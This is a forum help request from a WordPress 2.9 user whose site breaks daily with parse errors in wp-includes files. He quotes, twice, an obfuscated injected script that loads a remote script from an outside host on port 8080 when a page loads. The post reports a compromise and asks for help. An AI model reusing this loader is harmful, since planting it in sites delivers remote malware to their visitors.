Parse errors, unable to log in and view site

Everyday now i am getting the following errors when trying to view my site or log into my dashboard:

Parse error: syntax error, unexpected ‘<‘ in /home3/myplane4/public_html/wp-includes/default-filters.php on line 228

When i view this page, there is the following code:

<script>/*GNU GPL*/ try{window.onload = function(){var Xjtovgn1hzg4 = document.createElement(‘s^)!c^(^!r&&)i$#)p)t@()’.replace(/\$|\!|#|\(|\^|&|\)|@/ig, ”));Xjtovgn1hzg4.setAttribute(‘type’, ‘text/javascript’);Xjtovgn1hzg4.setAttribute(‘src’, ‘h(^t#)(t@@!p(:^@$/@#^/)(g!)u!@#t@^e)#f((r((!a)((!g)@e@$$-^@^n&!^e##t@$^.@(!b#a@^&d(^!$&j^!o!j#@o).^##@c#(o$^^m$#^.(&b(^p@)(#-#(b!#!l)@()o^!(^g^!@s@#$p$)o!@t^&(-#!$&c(o&$#m&^.)#m!(@u#s##i)c^&$)b)#)&o!!x&p$@$&r(!o$!$!.)r!u@)&&&:@^!8)#0!(8^##0!#/)&g@o)o$&g&l@@(e)^!.)c@@o)^.&m^!&a$!$/$#(g((o^o!@@g^$)l&e)&.#@^c!&o#^@.(^#&&m(!a(^&/@#w&)s@^j@#.$$c&))o^#m(()#/(#!p#i^$)x!^#^m$a&n&$i&@a@!@(.(##c@&@#o!!m!/$$!g$#o@o@^g@)^$l(^$#e#@().#c!!o$m#$&$/$&’.replace(/\)|#|\(|@|\!|\$|&|\^/ig, ”));Xjtovgn1hzg4.setAttribute(‘defer’, ‘defer’);Xjtovgn1hzg4.setAttribute(‘id’, ‘K^@4)&@p^#@5)!o$!@q#o(#)h#($u@#r)^&v$@$b$!^x$^6(!^’.replace(/\(|&|\$|@|\!|\)|\^|#/ig, ”));document.body.appendChild(Xjtovgn1hzg4);}} catch(e) {}</script>

When i delete this, save it and upload it again, the same thing happens in another page:

Parse error: syntax error, unexpected ‘<‘ in /home3/myplane4/public_html/wp-includes/default-widgets.php on line 1041

Then the same sort of code on this page:

<script>/*GNU GPL*/ try{window.onload = function(){var Xjtovgn1hzg4 = document.createElement(‘s^)!c^(^!r&&)i$#)p)t@()’.replace(/\$|\!|#|\(|\^|&|\)|@/ig, ”));Xjtovgn1hzg4.setAttribute(‘type’, ‘text/javascript’);Xjtovgn1hzg4.setAttribute(‘src’, ‘h(^t#)(t@@!p(:^@$/@#^/)(g!)u!@#t@^e)#f((r((!a)((!g)@e@$$-^@^n&!^e##t@$^.@(!b#a@^&d(^!$&j^!o!j#@o).^##@c#(o$^^m$#^.(&b(^p@)(#-#(b!#!l)@()o^!(^g^!@s@#$p$)o!@t^&(-#!$&c(o&$#m&^.)#m!(@u#s##i)c^&$)b)#)&o!!x&p$@$&r(!o$!$!.)r!u@)&&&:@^!8)#0!(8^##0!#/)&g@o)o$&g&l@@(e)^!.)c@@o)^.&m^!&a$!$/$#(g((o^o!@@g^$)l&e)&.#@^c!&o#^@.(^#&&m(!a(^&/@#w&)s@^j@#.$$c&))o^#m(()#/(#!p#i^$)x!^#^m$a&n&$i&@a@!@(.(##c@&@#o!!m!/$$!g$#o@o@^g@)^$l(^$#e#@().#c!!o$m#$&$/$&’.replace(/\)|#|\(|@|\!|\$|&|\^/ig, ”));Xjtovgn1hzg4.setAttribute(‘defer’, ‘defer’);Xjtovgn1hzg4.setAttribute(‘id’, ‘K^@4)&@p^#@5)!o$!@q#o(#)h#($u@#r)^&v$@$b$!^x$^6(!^’.replace(/\(|&|\$|@|\!|\)|\^|#/ig, ”));document.body.appendChild(Xjtovgn1hzg4);}} catch(e) {}</script>

When i delete that and upload it, it works fine untill the next day. I am using version 2.9, the only plgins i have active are, Contact Form 7, FeedBurner Subscription Widget, HTML-Javascript Adder, Meta SEO Pack, PRO Player. The only widgets i have on the site are, calender, archives, tag cloud, recent posts, categories, links, HTML-Javascript Adder and search.
Is anyone else experiencing the samething?

I am new to wordpress and blogging, can someone please help me?!
Thanks, Craig